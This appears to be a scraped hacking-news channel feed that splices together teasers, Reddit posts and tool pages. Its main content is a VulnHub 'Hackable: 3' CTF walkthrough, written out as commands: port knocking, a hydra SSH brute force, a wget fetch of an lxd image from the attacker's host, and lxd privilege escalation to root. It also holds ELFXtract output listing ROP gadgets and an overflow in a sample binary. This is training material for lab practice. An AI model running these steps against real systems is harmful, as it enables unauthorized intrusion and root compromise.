Hacking on Medium
If you look at your phone, you will most likely have around 3–4 shopping or social media…

https://cdn-images-1.medium.com/max/626/0*ItoH5EHU0n2Q1GDE.jpg
The “Forgot my password” might save you in times of need but it could also be your downfall. If you think about some of the shopping or…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Digital Security Demands Strong Passwords

https://cdn-images-1.medium.com/max/1125/0*ppw3cMWi4SCBliIP
We are digital citizens who use the password as the key to unlocking the doors of digital portals.

Continue reading on The Daily Cuppa »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Hackable: 3 VulnHub Walkthrough

Hackable: 3, Vulnhub medium machine was created by Elias Sousa and can be downloaded here.This lab is designed for experienced CTF players who want to put their abilities to the test. We used the machine in the way that it was designed. Also, if you haven’t checked the machine or are having problems, you can attempt every approach you know. The key is port knocking, so let’s get started and discover how to split things down into digestible chunks. Pentesting MethodologyNetwork Scanning

* netdiscover
* nmap

Enumeration

* abusing http
* dirb
* wordlist
* port knocking

Exploitation

* hydra
* ssh
* user flag
* linpeas

Privilege Escalation

* lxd
* root flag

Level: Medium Network ScanningTo begin with, we must use the netdiscover command to scan the network for the IP address of the victim machine.
netdiscover
Our IP address is 192.168.1.185.

https://blogger.googleusercontent.com/img/a/AVvXsEhVERM4UlvgrikfFqiOYmQ2Z8vmPZ-73pkMQCBy9i1-QOZTAtw7kcVLbzG5x-EFkjAVrvUb1NmlpxbATDh4a4c8yWXs3IbJemu2bA8mpCQa7h_X6nv3BPNBPaRsjUGvPtnmMckC9_POPfDnnloZ_yv4mJBvz8h6h9ygCWb5nXGYXzwqpT0UsPq_UgEpgw=s16000

To move forward in this process, we are launching Nmap. For open port enumeration.
nmap -sC -sV 192.168.1.185
According to Nmap, we have an SSH server operating on port 22 and an HTTP service (Apache Server) running on port 80.

https://blogger.googleusercontent.com/img/a/AVvXsEh7BOL_YWDJOF051U9Nug9s-L59Ic1QK5YcjB5iX7Qkytt9ykvj8rVYILq7c9UZjI1XK30nxoXvkamcNP0ZvCLZQwq-hOhmgeexZAW94nN8dUzVO4HmtxC3Itqo7savKGUpNrAlxMkm3x6bNKL9vuNMaUYd5KmKtSyUNnCkiy7WdOeoQ2PGE8NxBYFLUw=s16000 EnumerationFirst, we’ll attempt to use HTTP. Let’s look at port 80 and see if anything interesting comes up. We can immediately verify it in the browser because the Apache Server is listening on port 80.

https://blogger.googleusercontent.com/img/a/AVvXsEi211wSF6iWL58biBopenZC8-0IZEaqXGblPKo7gtWQ3y77D2KwmCuCwLrxh8AiYkz7ZhSndIjgJL7JCABakYKKUUuHMK_4kx4s0xCy5_IlIBQ8FbCaw2j0m0s4RGdJw3gWz27scHQF4HFhYJyZ4--W_J4AWuN_SQo5P3uRSL_cTjnglO7OgPz-EDmH3g=s16000 w

Nothing in-trusting on the main page. As a result, we examined its source code and discovered some information that will be valuable in this lab.

* We received a link to the login page.
* We chose the username “jubiscleudo.”
* We have gotten a hint that this lab requires port knocking.

https://blogger.googleusercontent.com/img/a/AVvXsEg5dzsOwH__RbupQ-l5c033EKAS_KlSorzXpRQYECF8Eu_baDuetC0dNVN8i-FkHx5Njequkd9FpqRTWARIhskPJ1ECZnUhTNVepG5p4F5jVZ_HVMkFEp69kUsQ5xn1LKuETe12MLy_Upb07rw-TNhmosHSMiRzofKOMYwUDLtNfqnJZ6sy5iXcKDy9hQ=s16000

To find out more about this laboratory. To uncover certain hidden directory paths, we execute a dirb directory scan.
dirb http://192.168.1.185/
Let’s look through a lot of trustworthy directories, so let’s look through them one by one.

https://blogger.googleusercontent.com/img/a/AVvXsEgfDEzIaFgeGbBYlMfZKye_YNErmR_EsGKAvrjNgteQhZ9HkfxjfiSXnVzgalmE_LAiL2uyjoFbe0-LT_LItng9DnHSkeQVOn1lwKCDWGgsxuKkX6w7wn6gruokYREDdlOvxrnxYaDI8oPsiTTOC8MFvKD7CqxYLSOBJE5O__vTPYSlH9WzHAW6deRoIw=s16000

So, let’s have a look at the first result backup directory. We obtained a word list file that might be valuable in the future.

https://blogger.googleusercontent.com/img/a/AVvXsEgVZr5GcfS-MY8iGAWRKBjXMCkjJdzsUlOly6xYQVwsnGlnpNzxr3H9qbNucRp0TnrcH24edDpHN8MnRD4rDGx0TekOqe6SvCvcEt8HFO_L73m-3Hlrfsirm6mGHgodJMq6kdbquTCas_3HX6ylII__nhO3j8i6h_ZJCTIqSpZRMMfPrlPCXWDggT5tIg=s16000

As a result, we run the wget command to download this word list to our machine.
wget http://192.168.1.185/backup/wordlist.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhLZM499xBUbcE72tbHdXo13bTYS-wE5Zd0gsAIK-8ZCfiIBS26gyQHinfoNxv2h_HKXd7ILA1j9OehSYdyCZKy8SqfsdLEpOkZ7tMbAyKwy8mTma2zPNnuno-ljdlS1YMvUm7Tdags5PAenN-FQOY2GRY4oM4HOaA[...]

___________________________
@hacking_Attack
@Hacking_Video

BmZ5gJq-ougO2PyJ7CnlvZhVtag=s16000

Let’s look at the second config directory; we found a file called 1.txt. We ran this file through the browser and discovered some essential but mysterious context.

https://blogger.googleusercontent.com/img/a/AVvXsEj0utZBhOMYO_pXGcaN-_Vjvj3r_qrsqim8JJz4ILThIQFglyv1lCG475WzxQlLN4EAyeuwnuzy4PjQLN63TC4OGcsMOysI8BHLwuB6bIWzvqgoBQuVeiwcRNEUtFYtk3mgkNyx9s-9kNV4BscJQWd6Czins-VsDu7D5T96r8XVKfDFQn-OyR7WGr9xww=s16000

As a result, we attempt to decode this text using the following command.We received our first text of port knocking after recovering the initial text (10000).
echo MTAwMDA= | base64 -d
https://blogger.googleusercontent.com/img/a/AVvXsEgonhSm44bJZc5fmvbpi7g0RqmAaT9UjwllWkObLO-EALHuV89yRKLUcvcQLbsYJa-HBFm4Lj2nAVgj17ibVlY3gh4gbNn5nSWhr8UxDsF9DI346MFJTiTqJBFRri4noWeSblQlQ_D5oPb6vWtTwTLYZHPvChQz-Ci0HDMIBSS5wcLP5W2qmoiLx-Z8cg=s16000

When we checked the third one (CSS directory), we got another text file called 2.txt. where we obtained an enumeration of brain fucks.

https://blogger.googleusercontent.com/img/a/AVvXsEjmFUIY0qp3UIHI8_LU04ORswWN8T1iEFPQAIW0rzjh6K3o5F2DCXwOgZoKIuDP2-51BLV5rCpfR8ygyZpRd_My1sbZPOkfMfb3NBrhjM7BM356R_OqcG9cuzrh8us3BLR2B1i6cnn9OzfU9dolL1U367em0opfsMyKROCPxY8wi4skQJneo9eXpzQLIA=s16000

So, we checked the brain fuck decoder online and recovered the second context (4444) of port knocking activity by providing them with our text.

https://blogger.googleusercontent.com/img/a/AVvXsEg53JmRn9-a9LhwhtHVjUYE16CsWxDXW3rohNyCX4luBpoSykts6FCjdKqHlAACkDDu5twYYiD8a7OyR4kd3e72Vbdns8xRsBIgmUenLSQq4O52vVr1yc0Nqnlb6nUCKrQPlX-ZxfgoSu8fNvPDO2peI-ay-xbuohs6cFf__SUkSE9PX95QBFX13LxWLA=s16000

Now we have two port knocking contexts: 10000 and 4444. Remember that we obtained a link to a login page earlier? We immediately checked that URL but found nothing interesting. So, we looked at the source code. We found an image called 3.jpg that might provide some insight into the problem.

https://blogger.googleusercontent.com/img/a/AVvXsEjUQ73dkIia9EO5R77nxiP9mRfgL9NYzYd0tXdcBhfhKS9YVkE-Ok9TaQ-YHSzkv8YbUiaRQcyBtprc2wAFFnP8fkHAsfuuErceIodB3hMEQlMRIxaaIygncjm4K57foKqH8D0WwIbui1qkT_nqniu6rhcUEnA8WylMzPUzsBEw_G_EvqviuKwvVYb8DQ=s16000
We looked at that image, but there was nothing unusual about it. We’ll have to think beyond the box.

https://blogger.googleusercontent.com/img/a/AVvXsEju1fwyTWbGTIQo_nmuPKXadl8_ZvhYbE4FaOVTxAz5CIj_FDRtQw7KlueubQcAKGPlBEuu8DBKzGLKO7VWimOZZM-I3XzuVz4nA7smSAk7AZlnKt3KlxEgq7XkfuSHa8DDSK0scWIzpyjzGCvatlTMxOVcT6_CgztHp1y2Ru0DO5MfNz84f01WaZzL_w=s16000

It might have something, so we considered steghide, which could be useful in certain situations. For our image file, we now provide the steghide tool. Hurray!! We received a top-secret text file.
steghide extract -sf 3.jpg
To explore this file, we use the cat command. Congratulations!! 65535 is our third context of port knocking.
cat steganopayload48505.txt
https://blogger.googleusercontent.com/img/a/AVvXsEgaW5gIjfhX1cFYtylI_IZle-QWiOcUq0ZjjPaZfIsOfOyi1wXaD7CjMPD79HZvGjaSVQrAq8umJDyyFyaGjWnDt0cdEfB3B4QrUWMBkMvnNiHKndrEvm7WkjY_LxKmpumvoNWQRbg0GVBwjCYVhqtL7o5fPk07bjfFR_RM3CgOZExn9VdKUNGEL7-DVw=s16000

We’re now ready to perform port knocking. We’re good to go if we use this command in conjunction with our context.
knock 192.168.1.185 10000 4444 65535
We run a nmap scan after port knocking to see what results we get. As you can see, the ssh port has been opened.
nmap -sV 192.168.1.185
https://blogger.googleusercontent.com/img/a/AVvXsEj4XJ8il2EhcF72wFhFketOyAtyYJDbwGmqFUyR-5wPOH3b4qu2f7W0XDWYvm_cKHxElmiz2qXLtLiUaj1eurO6B6RH7ylPby9gfRz9eAkdnshBsNjQ_XW38_i8uN_9UvjpCiEJVRH366AJVxd8P4_Z-3B3Da_sqwJ5KflFSgOxUAVbjdnS-aPfX_p0eg=s16000 ExploitationNow we’re ready to attempt exploitation using the information we gained from previous outcomes, including a user name gained from source code. Let’s try a brute force attack with the word list we stored for later.

Let’s use the hydra to[...]

___________________________
@hacking_Attack
@Hacking_Video

ol to begin a brute force attack. Bingo!! We have a username (jubiscleudo) and a password (onlymy).
hydra -l jubiscleudo -P wordlist.txt 192.168.1.185 ssh
https://blogger.googleusercontent.com/img/a/AVvXsEgRiTvTej74I9DIgtAF81tYZ5f0SrrJgAerLXU4-SWzKPsuhoEW6-cqVdlHslGjRppt9DHGD_Mpkr1IfYs969Vw8eIdZ4PrmGvE3thomXDeWWh2KXYrbN5vDb4-y70C09ZVDjQPcztgrTvYi1NoKzRosqeJm-X6fIoBfmG1OsaA4hcwUzhvCbdAyRwk3w=s16000

Now let’s use the credentials we received from the brute-force attack to log into ssh. Hurray!! The user jubiscleudo was successfully logged in. We instantly examined its id, then used the cat command to reveal the hidden user flag.
ssh jubiscleudo@192.168.1.185
id
ls -la
cat .user.txt
https://blogger.googleusercontent.com/img/a/AVvXsEjJw9wksN1n69ofidQ1f6ZtZz-Is2sGg0r5x7pl4hJxHTFFGm-vK7VCFZapsY-u7LhoCHeVqvUMMCq37SVk3zF0dw88qwZ76ZhqUDJjnqjBorSmdC8bqqtKBj00_gf77W_qPkg47icXFM3zc_zlwtgnIvixTh3Ysk8fDNtxfTptLWtxMfsLUZxpgkom4w=s16000

After all of this, we require another clue in order to get further into this machine. As a result, we employ the linpeas script to uncover some more buried data. More information about this script may be found here.

In a matter of seconds, we received another set of credentials for the user hackable_3 in a matter of seconds.

https://blogger.googleusercontent.com/img/a/AVvXsEifJn7QfUAcZXSACxZtg1gVsm_B6IiaMPZss-b7Leo8112EzO1WqbzMpF4CFozCotd9Wecb6SWoxNHasfvsqMnf3_yIW2s1uWfipdhLV-GQTP5cokireDqBKEJ9MzZ264tAA-Jpy5f3WME4bX5r8UxD7FltEYG5rJ5JVrb2bVjTRqhq6C4CgO6QPKFVSA=s16000 Privilege EscalationLet’s get this party started by changing the user to hackable_3. Then, after checking its user id, we discovered that it was potentially vulnerable to lxd. As a result, we can use lxd privilege escalation to gain root access.
su hackable_3
id
https://blogger.googleusercontent.com/img/a/AVvXsEjbosxw5QOudklWRdOZLYF7JmnxHjjiYn2qgjHgRuc5-Caaf2L-escvcbyDiNKmRhDwbV9KJ_Dhy_WIeIhJbrZP3yYIz64j5P5Y-S8_l2-wOeCZBjC1uQC7HIm_9lqkZPzBytQfLBQ3gK9lIJQJF7tGTSTdCEg-oka8KCXrALq9tMbtisWlVSHuoYOlkA=s16000

Privilege escalation via lxd necessitates the use of a local account, which we already have. To escalate the root privileges of the host system, we must first generate an image for lxd, which requires the following steps:

Steps must be taken on the host machine are as follows:

* Take a look at the alpine image.
* Import an image into lxd.
* Create a new container to hold the image.
* The container should be mounted in the /root

So, we downloaded the build alpine using the reference of our article from here.
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
https://blogger.googleusercontent.com/img/a/AVvXsEiLqEuZ-BuTAxRr64uf2LmXOMYLiYKW9TGpiNBVErYR1SZJpu0_FAjs64HmHCEaz-YuR8E3ffP7xjAm7ruhR73yg1l6RpeHcZQ4Rvn2218alE3zhIZi1USA5zjpgPqpc8WYzBPW90XG-oqZaG4LkefNAPEDTVL_wrvWpUodnFB3MfHCLXH4JkjydlJ4dg=s16000

We use a simple python http server to transfer this file to the victim’s machine. On the other hand, we will download the alpine-image to the victim machine’s /tmp directory.
wget 192.168.1.3:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
After the image has been created, it may be added to LXD as an image as follows:
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
Use the list command to check the list of images.
lxc image list
https://blogger.googleusercontent.com/img/a/AVvXsEg4njfsqOVgdjRK4nlzgsUF9hcJ_ZHKn66CTJ34ujdtAQ6bvt1A3XIjV_7GzvlkqgSBa9EdGge0yMyPbn274fDuvKlecAB26wHXjUZOL5jx6Lu5UNSt13_qPmu6IIV1ufMI9ruJFzaL3Sg5YVdPzzBQQGXevxqixX5vwU4FNC14WMkSwrHV4XAwO5YFaw=s16000

We receive an error message stating that we do not have a storage pool. As a result, we must create one. We can use default settings in this case.
lxd init
After that, I proceeded as follows, continuing from the previous failed step.
lxc init myimage ignite -c security.privileged=true
lxc config device and ignite mydevice disk sourc[...]

___________________________
@hacking_Attack
@Hacking_Video

e=/path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Navigate to /mnt/root to see all resources from the host machine once inside the container.

After we have run the bash script. We can see that we have a different shell, which is the container’s shell. This container contains all of the host machine’s files. As a result, we enumerated the area in search of the flag and discovered it.
cat root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEgdJsfKy-vsLrCL5ZtCpwViXDPpGOwS0b_ADX5q_h9wWJUzRXb_yn0OVMcPEZ_bMuNGqX0NsW7R3C4NmAg06GpTrWK4N0lNzjXZwRx58vj7Ldilr8RNfp66kVpP1yuU_ARVFIXubZkST_zUrmbSiRRZvnZBpypHOVhZBaTFMe-pmf30vAm5iNxBS2myJQ=s16000

This was an excellent lab with a lot of information, particularly in the enumeration and privilege escalation sections. It is worthwhile to try to obtain some CTF experience. Hopefully, you guys will learn something new from this walkthrough.

Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedIn and Twitter.

The post Hackable: 3 VulnHub Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A Clever way to Hide data inside a image

https://external-preview.redd.it/IinPVaNGG6lem5aNDNgk1o8gI773OJdAd21RdKZifkc.jpg?width=640&crop=smart&auto=webp&s=c196da82d19fb99af7a16d8e3b1f58e9d033339a submitted by /u/Beginning-Safe4282
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
If my goal is be a malware writer, what skills do I have to have?

Hey guys!

What skills I have to have if my goal is be a malware writer?

submitted by /u/-Red_Shark
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
4 Ways to Develop Your Team's Cyber Skills

Organizations need to invest in professional development — and then actually make time for it.

Dark Reading: Attacks/Breaches
Cisco's Kenna Security Research Shows the Relative Likelihood of an Organization Being Exploited

A record-breaking 20,130 vulnerabilities were reported in 2021. However, only 4% pose a high risk to organizations.

___________________________
@hacking_Attack
@Hacking_Video

MoonBounce: the dark side of UEFI firmware
https://www.reddit.com/r/redteamsec/comments/s8k0ns/moonbounce_the_dark_side_of_uefi_firmware/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/) [comments] (https://www.reddit.com/r/redteamsec/comments/s8k0ns/moonbounce_the_dark_side_of_uefi_firmware/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
ELFXtract : An Automated Analysis Tool Used For Enumerating ELF Binaries

ELFXtract is an automated analysis tool used for enumerating ELF binaries

Powered by Radare2 and r2ghidra

This is specially developed for PWN challenges and it has many automated features

It almost displays every details of the ELF and also decompiles its ASM to C code using r2ghidraDecompiling ELFs in Ghidra takes more time, but in elfxtract it decompiles and displays in few seconds Features in ELFXtract

* File info
* Shared object dependency details
* ELF Security Mitigation details / Checksec
* String details
* Header memory map
* ROP gadgets
* PLT Table
* GOT Table
* Function Table
* ASM code of functions
* Decompiled code of functions
* Predicting possible vulnerable functions Installation

git clone https://github.com/AidenPearce369/elfxtract
cd elfxtract
chmod +x install.sh
./install.sh
pip install -r requirements.txt

Working

You can run elfxtract with any ELF along with -ato list all details from the ELF

ra@ubuntu:~/elfxtract$ python3 main.py –file programvuln -a
_ _ | | | | \ \ / / | | |
| | | | | |_ \ V /| |_ _ _ _ _ | |_ | || | | | / | | ‘/ ` |/ | | | || || | / /^\ \ || | | (| | (| |
_/_____/_| \/ \/__|| _,|__|__|
@aidenpearce369 > FILE INFO :
ELF Name : programvuln
ELF Type : ELF 64-bit LSB shared object
ELF Arch : x86-64
ELF SHA1 Hash : BuildID[sha1]=cf149d97ad1e895561080b1f5c317bc5bc1e8652
This binary is dynamically linked & not stripped
SHARED OBJECT DEPENDENCY :
linux-vdso.so.1 (0x00007ffd525a4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd610d93000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd610fa1000)
ELF SECURITY MITIGATIONS :
RELRO : Full RELRO
STACK CANARY : No Canary found
NX BIT : NX disabled
PIE : PIE enabled
RPATH : No RPATH
RUNPATH : No RUNPATH
POSSIBLE STRINGS :
nth paddr vaddr len size section type string
0 0x00002008 0x00002008 31 32 .rodata ascii You have bypassed this function
1 0x00002028 0x00002028 12 13 .rodata ascii cat flag.txt
2 0x00002035 0x00002035 15 16 .rodata ascii Enter your name
3 0x00002045 0x00002045 13 14 .rodata ascii Your name is
RODATA HEXDUMP :
0x00002000 01000200 00000000 596f7520 68617665 ……..You have
0x00002010 20627970 61737365 64207468 69732066 bypassed this f
0x00002020 756e6374 696f6e00 63617420 666c6167 unction.cat flag
0x00002030 2e747874 00456e74 65722079 6f757220 .txt.Enter your
0x00002040 6e616d65 00596f75 72206e61 6d652069 name.Your name i
0x00002050 732000 s .
ELF ENTRY POINT :
The entry point of the ELF is at 0x10c0
HEADER MEMORY MAP :
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000002d8 0x00000000000002d8 R 0x8
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000000006a8 0x00000000000006a8 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x00000000000002b5 0x00000000000002b5 R E 0x1000
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000
0x00000000000001c8 0x00000000000001c8 R 0x1000
LOAD 0x0000000000002da0 0x0000000000003da0 0x0000000000003da0
0x0000000000000270 0x0000000000000278 RW 0x1000
DYNAMIC 0x0000000000002db0 0x0000000000003db0 0x0000000000003db0
0x00000000000001f0 0x00000000000001f0 RW 0x8
NOTE 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000020 0x0000000000000020 R 0x8
NOTE 0x0000000000000358 0x0000000000000358 0x0000000000000358
0x0000000000000044 0x0000000000000044 R 0x4
GNU_PROPERTY 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000020 0x0000000000000020 R 0x8
GNU_EH_FRAME 0x0000000000002054 0x000000000[...]

___________________________
@hacking_Attack
@Hacking_Video

0002054 0x0000000000002054
0x000000000000004c 0x000000000000004c R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
GNU_RELRO 0x0000000000002da0 0x0000000000003da0 0x0000000000003da0
0x0000000000000260 0x0000000000000260 R 0x1
[] Loaded 14 cached gadgets for ‘programvuln’ ROP GADGETS : 0x1017 : add esp, 8;ret 0x1016 : add rsp, 8;ret 0x1221 : leave;ret 0x128c : pop r12;pop r13;pop r14;pop r15;ret 0x128e : pop r13;pop r14;pop r15;ret 0x1290 : pop r14;pop r15;ret 0x1292 : pop r15;ret 0x128b : pop rbp;pop r12;pop r13;pop r14;pop r15;ret 0x128f : pop rbp;pop r14;pop r15;ret 0x1193 : pop rbp;ret 0x1293 : pop rdi;ret 0x1291 : pop rsi;pop r15;ret 0x128d : pop rsp;pop r13;pop r14;pop r15;ret 0x101a : ret PLT TABLE : cxa_finalize : 0x1074 puts : 0x1084 system : 0x1094 printf : 0x10a4 gets : 0x10b4 GOT TABLE : ITM_deregisterTMCloneTable : 0x3fd8 __libc_start_main : 0x3fe0 __gmon_start : 0x3fe8 _ITM_registerTMCloneTable : 0x3ff0 __cxa_finalize : 0x3ff8 puts : 0x3fb8 system : 0x3fc0 printf : 0x3fc8 gets : 0x3fd0 FUNCTION TABLE : __libc_csu_fini : 0x12a0 __libc_csu_init : 0x1230 win : 0x11a9 _start : 0x10c0 main : 0x11d POSSIBLE USER DEFINED FUNCTIONS : win : 0x11a9 main : 0x11d6 ASSEMBLY AND DECOMPILED CODE : [] ASM – win :
┌ 45: sym.win ();
│ 0x000011a9 f30f1efa endbr64
│ 0x000011ad 55 push rbp
│ 0x000011ae 4889e5 mov rbp, rsp
│ 0x000011b1 488d3d500e00. lea rdi, str.You_have_bypassed_this_function ; 0x2008 ; “You have bypassed this function” ; const char *format
│ 0x000011b8 b800000000 mov eax, 0
│ 0x000011bd e8defeffff call sym.imp.printf ; int printf(const char *format)
│ 0x000011c2 488d3d5f0e00. lea rdi, str.cat_flag.txt ; 0x2028 ; “cat flag.txt” ; const char *string
│ 0x000011c9 b800000000 mov eax, 0
│ 0x000011ce e8bdfeffff call sym.imp.system ; int system(const char *string)
│ 0x000011d3 90 nop
│ 0x000011d4 5d pop rbp
└ 0x000011d5 c3 ret
[] DECOMPILED CODE – win : void sym.win(void) { sym.imp.printf(“You have bypassed this function”); sym.imp.system(“cat flag.txt”); return; } [] ASM – main :
; DATA XREF from entry0 @ 0x10e1
┌ 77: int main (int argc, char **argv, char **envp);
│ ; var char *s @ rbp-0x40
│ 0x000011d6 f30f1efa endbr64
│ 0x000011da 55 push rbp
│ 0x000011db 4889e5 mov rbp, rsp
│ 0x000011de 4883ec40 sub rsp, 0x40
│ 0x000011e2 488d3d4c0e00. lea rdi, str.Enter_your_name ; 0x2035 ; “Enter your name” ; const char *s
│ 0x000011e9 e892feffff call sym.imp.puts ; int puts(const char *s)
│ 0x000011ee 488d45c0 lea rax, [s]
│ 0x000011f2 4889c7 mov rdi, rax ; char *s
│ 0x000011f5 b800000000 mov eax, 0
│ 0x000011fa e8b1feffff call sym.imp.gets ; char *gets(char *s)
│ 0x000011ff 488d3d3f0e00. lea rdi, str.Your_name_is ; 0x2045 ; “Your name is ” ; const char *format
│ 0x00001206 b800000000 mov eax, 0
│ 0x0000120b e890feffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001210 488d45c0 lea rax, [s]
│ 0x00001214 4889c7 mov rdi, rax ; const char *s
│ 0x00001217 e864feffff call sym.imp.puts ; int puts(const char s) │ 0x0000121c b800000000 mov eax, 0 │ 0x00001221 c9 leave └ 0x00001222 c3 ret [] DECOMPILED CODE – main :
WARNING: [r2ghidra] Failed to match type char * for variable s to Decompiler type:
undefined8 main(void)
{ undefined8 s;
sym.imp.puts(“Enter your name”);
sym.imp.gets(&s);
sym.imp.printf(“Your name is “);
sym.imp.puts(&s);
return 0;
}
VULNERABLE FUNCTIONS :
Possible vulnerability locations – Command Execution
0x000011ce e8bdfeffff call sym.imp.system ; int system(const char *string)
Possible vulnerability locations – Format String
0x000011bd e8defeffff call sym.imp.printf ; int printf(const char *format)
0x0000120b e890feffff call sym.imp.printf ; int printf(const char *format) Possible vulnerability locations – Buffer Overflow
0x000011fa e8b1feffff call sym.imp.gets ; char *gets(char *s)

You can also pass arguments and get the info based on your needs,

ra@ubuntu:~/elfxtract$ p[...]

___________________________
@hacking_Attack
@Hacking_Video

ython3 main.py -h
_ _ | | | | \ \ / / | | |
| | | | | |_ \ V /| |_ _ _ _ _ | |_ | || | | | / | | ‘/ ` |/ | | | || || | / /^\ \ || | | (| | (| |
_/_____/_| \/ \/__|| _,|__|__|
@aidenpearce369
usage: main.py [-h] -f FILE [-a] [-i] [-g] [–user-func] [–get-func GET_FUNC] [–asm-only]
[–decompiled-only] [-t]
optional arguments:
-h, –help show this help message and exit
-f FILE, –file FILE Path of the ELF
-a, –all Extract all info
-i, –info Displays basic info
-g, –gadgets Displays gadgets
–user-func Displays the details of user defined functions
–get-func GET_FUNC Displays the ASM & decompiled code of the given function
–asm-only Displays the ASM of ELF
–-decompiled-only Displays the decompiled C code of ELF
-t, –tables Displays PLT, GOT & Function table Download

___________________________
@hacking_Attack
@Hacking_Video

My First Blind XSS
https://mohitkumar0786.medium.com/my-first-blind-xss-3ff09d9cc0c5?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video